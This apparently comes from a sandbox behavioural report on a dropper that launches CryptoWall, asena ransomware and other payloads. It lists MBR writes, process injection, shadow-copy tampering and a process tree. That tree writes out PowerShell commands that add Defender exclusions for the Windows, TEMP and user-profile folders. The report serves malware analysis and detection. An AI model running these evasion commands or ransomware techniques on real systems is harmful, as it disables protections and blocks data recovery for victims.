Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

asena.exe

description ioc process

File opened for modification \??\PHYSICALDRIVE0 asena.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

66b5d9d3adbaa_defaultr.exe

description pid process target process

PID 5608 set thread context of 5596 5608 66b5d9d3adbaa_defaultr.exe MSBuild.exe

description	ioc	process
File opened (read-only)	\??\E:	asena.exe

flow	ioc
4	ip-addr.es
6	myexternalip.com
21	ip-api.com
22	ip-api.com
23	ip-api.com
24	ip-api.com

description	ioc	process
File opened for modification	\??\PHYSICALDRIVE0	asena.exe

description	pid	process	target process
PID 5608 set thread context of 5596	5608	66b5d9d3adbaa_defaultr.exe	MSBuild.exe

Drops file in Program Files directory 64 IoCs

Processes:

asena.exe

description	ioc	process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\leftnav.gif	asena.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\cpu.html	asena.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\RGNR_DF83F6B4.txt	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR50B.GIF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN097.XML	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\WEBPAGE.DPV	asena.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\icon.png	asena.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\GRPHFLT\RGNR_DF83F6B4.txt	asena.exe
File created	C:\Program Files\Common Files\Microsoft Shared\Triedit\de-DE\RGNR_DF83F6B4.txt	asena.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_SelectionSubpicture.png	asena.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_ButtonGraphic.png	asena.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\RGNR_DF83F6B4.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH01058_.WMF	asena.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\es-ES\FlickLearningWizard.exe.mui	asena.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\he-IL\tipresx.dll.mui	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18221_.WMF	asena.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\images\RGNR_DF83F6B4.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01123_.WMF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\WWINTL.DLL.IDX_DLL	asena.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\33.png	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01178_.WMF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SY00110_.WMF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0216516.WMF	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_ja.jar	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0386270.JPG	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-api-visual.xml	asena.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Managua	asena.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\de-DE\RGNR_DF83F6B4.txt	asena.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\es-ES\js\currency.js	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0086428.WMF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107494.WMF	asena.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fr-FR\InkWatson.exe.mui	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Bucharest	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME08.CSS	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD02141_.WMF	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-attach.xml	asena.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\ja-JP\js\timeZones.js	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN096.XML	asena.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\144DPI\(144DPI)redStateIcon.png	asena.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain.wmv	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3_0.12.0.v20140227-2118.jar	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\WSS\1100.accdt	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_ja_4.4.0.v20140623020002.jar	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BrightOrange\TAB_OFF.GIF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00068_.WMF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\ACTIVITY.CFG	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BS4BOXES.POC	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\FiveRules.potx	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs-nio2_ja.jar	asena.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\EDGE\THMBNAIL.PNG	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-charts.jar	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD00687_.WMF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsMacroTemplate.html	asena.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\en-US\gadget.xml	asena.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\background.png	asena.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\plugin.properties	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0152432.WMF	asena.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	asena.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\shuffle_over.png	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Stationery\1033\CURRENCY.GIF	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ContemporaryPhotoAlbum.potx	asena.exe

Drops file in Windows directory 8 IoCs

Processes:

r.exepi.exe1.exe2626614025.exe

description	ioc	process
File opened for modification	C:\Windows\sysmablsvr.exe	r.exe
File created	C:\Windows\sylsplvc.exe	pi.exe
File opened for modification	C:\Windows\sylsplvc.exe	pi.exe
File created	C:\Windows\sysarddrvs.exe	1.exe
File opened for modification	C:\Windows\sysarddrvs.exe	1.exe
File created	C:\Windows\syschvard.exe	2626614025.exe
File opened for modification	C:\Windows\syschvard.exe	2626614025.exe
File created	C:\Windows\sysmablsvr.exe	r.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

6124 sc.exe
2024 sc.exe
5180 sc.exe
2808 sc.exe
4284 sc.exe
5208 sc.exe
3696 sc.exe
5688 sc.exe
5392 sc.exe
3412 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
6124	sc.exe
2024	sc.exe
5180	sc.exe
2808	sc.exe
4284	sc.exe
5208	sc.exe
3696	sc.exe
5688	sc.exe
5392	sc.exe
3412	sc.exe

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

sc.exe2626614025.exe66b5d9d3adbaa_defaultr.exeCryptoWall.exesc.exesylsplvc.exeasena.exeexplorer.exesc.exePCCooker_x64.exevssadmin.exe1.exesc.exepowershell.exesc.exepowershell.exesc.exesvchost.exenotepad.exetpeinf.exesyschvard.exesc.exesc.exeMSBuild.exe5_6190317556063017550.exesysmablsvr.exesysarddrvs.execmd.exea76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.execmd.exepei.exe3546345.exepi.exetimeout.execmd.execmd.exer.exesc.exesc.execmd.exe4363463463464363463463463.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2626614025.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	66b5d9d3adbaa_defaultr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CryptoWall.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sylsplvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	asena.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PCCooker_x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tpeinf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	syschvard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5_6190317556063017550.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysmablsvr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysarddrvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pei.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3546345.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

MSBuild.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

7200 timeout.exe
Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Direct Volume Access
T1006

Processes:

vssadmin.exevssadmin.exe

pid process

3004 vssadmin.exe
1588 vssadmin.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

5972 notepad.exe

pid	process
7200	timeout.exe

pid	process
3004	vssadmin.exe
1588	vssadmin.exe

pid	process
5972	notepad.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

pid	process
2052	powershell.exe
3592	powershell.exe
3404	powershell.exe
4364	powershell.exe
4280	powershell.exe
4344	powershell.exe
4376	powershell.exe
3380	powershell.exe
4252	powershell.exe
4328	powershell.exe
4332	powershell.exe
4348	powershell.exe
5068	powershell.exe
4556	powershell.exe
1844	powershell.exe
4572	powershell.exe
4584	powershell.exe
4632	powershell.exe
4792	powershell.exe
4428	powershell.exe
4600	powershell.exe
4472	powershell.exe
4440	powershell.exe
4576	powershell.exe
4668	powershell.exe
4536	powershell.exe
3436	powershell.exe
4892	powershell.exe
4372	powershell.exe
3384	powershell.exe
4432	powershell.exe
5980	powershell.exe
2512	powershell.exe
5632	powershell.exe
5484	powershell.exe
5372	powershell.exe
4564	powershell.exe
4132	powershell.exe
5808	powershell.exe
4560	powershell.exe
4560	powershell.exe
3400	powershell.exe
5952	powershell.exe
4568	powershell.exe
3000	powershell.exe
5384	powershell.exe
5868	powershell.exe
3552	powershell.exe
5316	powershell.exe
5424	powershell.exe
4164	powershell.exe
4608	powershell.exe
7580	powershell.exe
6620	powershell.exe
6720	powershell.exe
7560	powershell.exe
6456	powershell.exe
6044	powershell.exe
6584	powershell.exe
6780	powershell.exe
5296	powershell.exe
6660	powershell.exe
6660	powershell.exe
3596	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

CryptoWall.exeexplorer.exe

pid process

2332 CryptoWall.exe
2660 explorer.exe
Suspicious behavior: SetClipboardViewer 3 IoCs

Processes:

sylsplvc.exesysarddrvs.exesyschvard.exe

pid process

1600 sylsplvc.exe
3392 sysarddrvs.exe
5976 syschvard.exe

pid	process
2332	CryptoWall.exe
2660	explorer.exe

pid	process
1600	sylsplvc.exe
3392	sysarddrvs.exe
5976	syschvard.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wmic.exevssvc.exe4363463463464363463463463.exe24.exe23.exe21.exe25.exe22.exe19.exe20.exe18.exe15.exe17.exe14.exe16.exe12.exe13.exe10.exe11.exe9.exe8.exe7.exe5.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2552	wmic.exe
Token: SeSecurityPrivilege	2552	wmic.exe
Token: SeTakeOwnershipPrivilege	2552	wmic.exe
Token: SeLoadDriverPrivilege	2552	wmic.exe
Token: SeSystemProfilePrivilege	2552	wmic.exe
Token: SeSystemtimePrivilege	2552	wmic.exe
Token: SeProfSingleProcessPrivilege	2552	wmic.exe
Token: SeIncBasePriorityPrivilege	2552	wmic.exe
Token: SeCreatePagefilePrivilege	2552	wmic.exe
Token: SeBackupPrivilege	2552	wmic.exe
Token: SeRestorePrivilege	2552	wmic.exe
Token: SeShutdownPrivilege	2552	wmic.exe
Token: SeDebugPrivilege	2552	wmic.exe
Token: SeSystemEnvironmentPrivilege	2552	wmic.exe
Token: SeRemoteShutdownPrivilege	2552	wmic.exe
Token: SeUndockPrivilege	2552	wmic.exe
Token: SeManageVolumePrivilege	2552	wmic.exe
Token: 33	2552	wmic.exe
Token: 34	2552	wmic.exe
Token: 35	2552	wmic.exe
Token: SeIncreaseQuotaPrivilege	2552	wmic.exe
Token: SeSecurityPrivilege	2552	wmic.exe
Token: SeTakeOwnershipPrivilege	2552	wmic.exe
Token: SeLoadDriverPrivilege	2552	wmic.exe
Token: SeSystemProfilePrivilege	2552	wmic.exe
Token: SeSystemtimePrivilege	2552	wmic.exe
Token: SeProfSingleProcessPrivilege	2552	wmic.exe
Token: SeIncBasePriorityPrivilege	2552	wmic.exe
Token: SeCreatePagefilePrivilege	2552	wmic.exe
Token: SeBackupPrivilege	2552	wmic.exe
Token: SeRestorePrivilege	2552	wmic.exe
Token: SeShutdownPrivilege	2552	wmic.exe
Token: SeDebugPrivilege	2552	wmic.exe
Token: SeSystemEnvironmentPrivilege	2552	wmic.exe
Token: SeRemoteShutdownPrivilege	2552	wmic.exe
Token: SeUndockPrivilege	2552	wmic.exe
Token: SeManageVolumePrivilege	2552	wmic.exe
Token: 33	2552	wmic.exe
Token: 34	2552	wmic.exe
Token: 35	2552	wmic.exe
Token: SeBackupPrivilege	1716	vssvc.exe
Token: SeRestorePrivilege	1716	vssvc.exe
Token: SeAuditPrivilege	1716	vssvc.exe
Token: SeDebugPrivilege	2644	4363463463464363463463463.exe
Token: SeDebugPrivilege	1692	24.exe
Token: SeDebugPrivilege	2116	23.exe
Token: SeDebugPrivilege	2200	21.exe
Token: SeDebugPrivilege	1724	25.exe
Token: SeDebugPrivilege	2440	22.exe
Token: SeDebugPrivilege	2932	19.exe
Token: SeDebugPrivilege	1572	20.exe
Token: SeDebugPrivilege	2792	18.exe
Token: SeDebugPrivilege	968	15.exe
Token: SeDebugPrivilege	2560	17.exe
Token: SeDebugPrivilege	2556	14.exe
Token: SeDebugPrivilege	2568	16.exe
Token: SeDebugPrivilege	892	12.exe
Token: SeDebugPrivilege	1360	13.exe
Token: SeDebugPrivilege	2280	10.exe
Token: SeDebugPrivilege	1244	11.exe
Token: SeDebugPrivilege	3068	9.exe
Token: SeDebugPrivilege	2824	8.exe
Token: SeDebugPrivilege	1608	7.exe
Token: SeDebugPrivilege	1620	5.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

PCCooker_x64.exeasena.exeCryptoWall.exeexplorer.exeBomb.exe

description	pid	process	target process
PID 2172 wrote to memory of 2644	2172	PCCooker_x64.exe	4363463463464363463463463.exe
PID 2172 wrote to memory of 2644	2172	PCCooker_x64.exe	4363463463464363463463463.exe
PID 2172 wrote to memory of 2644	2172	PCCooker_x64.exe	4363463463464363463463463.exe
PID 2172 wrote to memory of 2644	2172	PCCooker_x64.exe	4363463463464363463463463.exe
PID 2172 wrote to memory of 2764	2172	PCCooker_x64.exe	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
PID 2172 wrote to memory of 2764	2172	PCCooker_x64.exe	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
PID 2172 wrote to memory of 2764	2172	PCCooker_x64.exe	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
PID 2172 wrote to memory of 2764	2172	PCCooker_x64.exe	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
PID 2172 wrote to memory of 2664	2172	PCCooker_x64.exe	asena.exe
PID 2172 wrote to memory of 2664	2172	PCCooker_x64.exe	asena.exe
PID 2172 wrote to memory of 2664	2172	PCCooker_x64.exe	asena.exe
PID 2172 wrote to memory of 2664	2172	PCCooker_x64.exe	asena.exe
PID 2172 wrote to memory of 2784	2172	PCCooker_x64.exe	Bomb.exe
PID 2172 wrote to memory of 2784	2172	PCCooker_x64.exe	Bomb.exe
PID 2172 wrote to memory of 2784	2172	PCCooker_x64.exe	Bomb.exe
PID 2172 wrote to memory of 2784	2172	PCCooker_x64.exe	Bomb.exe
PID 2172 wrote to memory of 2332	2172	PCCooker_x64.exe	CryptoWall.exe
PID 2172 wrote to memory of 2332	2172	PCCooker_x64.exe	CryptoWall.exe
PID 2172 wrote to memory of 2332	2172	PCCooker_x64.exe	CryptoWall.exe
PID 2172 wrote to memory of 2332	2172	PCCooker_x64.exe	CryptoWall.exe
PID 2664 wrote to memory of 2552	2664	asena.exe	wmic.exe
PID 2664 wrote to memory of 2552	2664	asena.exe	wmic.exe
PID 2664 wrote to memory of 2552	2664	asena.exe	wmic.exe
PID 2664 wrote to memory of 2552	2664	asena.exe	wmic.exe
PID 2664 wrote to memory of 3004	2664	asena.exe	vssadmin.exe
PID 2664 wrote to memory of 3004	2664	asena.exe	vssadmin.exe
PID 2664 wrote to memory of 3004	2664	asena.exe	vssadmin.exe
PID 2664 wrote to memory of 3004	2664	asena.exe	vssadmin.exe
PID 2332 wrote to memory of 2660	2332	CryptoWall.exe	explorer.exe
PID 2332 wrote to memory of 2660	2332	CryptoWall.exe	explorer.exe
PID 2332 wrote to memory of 2660	2332	CryptoWall.exe	explorer.exe
PID 2332 wrote to memory of 2660	2332	CryptoWall.exe	explorer.exe
PID 2660 wrote to memory of 1904	2660	explorer.exe	svchost.exe
PID 2660 wrote to memory of 1904	2660	explorer.exe	svchost.exe
PID 2660 wrote to memory of 1904	2660	explorer.exe	svchost.exe
PID 2660 wrote to memory of 1904	2660	explorer.exe	svchost.exe
PID 2660 wrote to memory of 1588	2660	explorer.exe	vssadmin.exe
PID 2660 wrote to memory of 1588	2660	explorer.exe	vssadmin.exe
PID 2660 wrote to memory of 1588	2660	explorer.exe	vssadmin.exe
PID 2660 wrote to memory of 1588	2660	explorer.exe	vssadmin.exe
PID 2784 wrote to memory of 1724	2784	Bomb.exe	25.exe
PID 2784 wrote to memory of 1724	2784	Bomb.exe	25.exe
PID 2784 wrote to memory of 1724	2784	Bomb.exe	25.exe
PID 2784 wrote to memory of 1692	2784	Bomb.exe	24.exe
PID 2784 wrote to memory of 1692	2784	Bomb.exe	24.exe
PID 2784 wrote to memory of 1692	2784	Bomb.exe	24.exe
PID 2784 wrote to memory of 2116	2784	Bomb.exe	23.exe
PID 2784 wrote to memory of 2116	2784	Bomb.exe	23.exe
PID 2784 wrote to memory of 2116	2784	Bomb.exe	23.exe
PID 2784 wrote to memory of 2440	2784	Bomb.exe	22.exe
PID 2784 wrote to memory of 2440	2784	Bomb.exe	22.exe
PID 2784 wrote to memory of 2440	2784	Bomb.exe	22.exe
PID 2784 wrote to memory of 2200	2784	Bomb.exe	21.exe
PID 2784 wrote to memory of 2200	2784	Bomb.exe	21.exe
PID 2784 wrote to memory of 2200	2784	Bomb.exe	21.exe
PID 2784 wrote to memory of 1572	2784	Bomb.exe	20.exe
PID 2784 wrote to memory of 1572	2784	Bomb.exe	20.exe
PID 2784 wrote to memory of 1572	2784	Bomb.exe	20.exe
PID 2784 wrote to memory of 2932	2784	Bomb.exe	19.exe
PID 2784 wrote to memory of 2932	2784	Bomb.exe	19.exe
PID 2784 wrote to memory of 2932	2784	Bomb.exe	19.exe
PID 2784 wrote to memory of 2792	2784	Bomb.exe	18.exe
PID 2784 wrote to memory of 2792	2784	Bomb.exe	18.exe
PID 2784 wrote to memory of 2792	2784	Bomb.exe	18.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe
"C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2172

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2644

C:\Users\Admin\AppData\Local\Temp\Files\r.exe
"C:\Users\Admin\AppData\Local\Temp\Files\r.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:1900

C:\Windows\sysmablsvr.exe
C:\Windows\sysmablsvr.exe
4⤵
- Modifies security service
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
PID:4260

C:\Users\Admin\AppData\Local\Temp\Files\5_6190317556063017550.exe
"C:\Users\Admin\AppData\Local\Temp\Files\5_6190317556063017550.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4404

C:\Users\Admin\AppData\Local\Temp\Files\pi.exe
"C:\Users\Admin\AppData\Local\Temp\Files\pi.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:3396

C:\Windows\sylsplvc.exe
C:\Windows\sylsplvc.exe
4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
- Suspicious behavior: SetClipboardViewer
PID:1600

C:\Users\Admin\AppData\Local\Temp\Files\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Installer.exe"
3⤵
- Executes dropped EXE
PID:4308

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\SubDir'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4792

C:\Users\Admin\AppData\Local\Temp\Files\tt.exe
"C:\Users\Admin\AppData\Local\Temp\Files\tt.exe"
3⤵
- Executes dropped EXE
PID:5024

C:\Users\Admin\AppData\Local\Temp\Files\1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:5676

C:\Windows\sysarddrvs.exe
C:\Windows\sysarddrvs.exe
4⤵
- Modifies security service
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
- Suspicious behavior: SetClipboardViewer
PID:3392

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
5⤵
- System Location Discovery: System Language Discovery
PID:5536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4132

C:\Windows\SysWOW64\cmd.exe
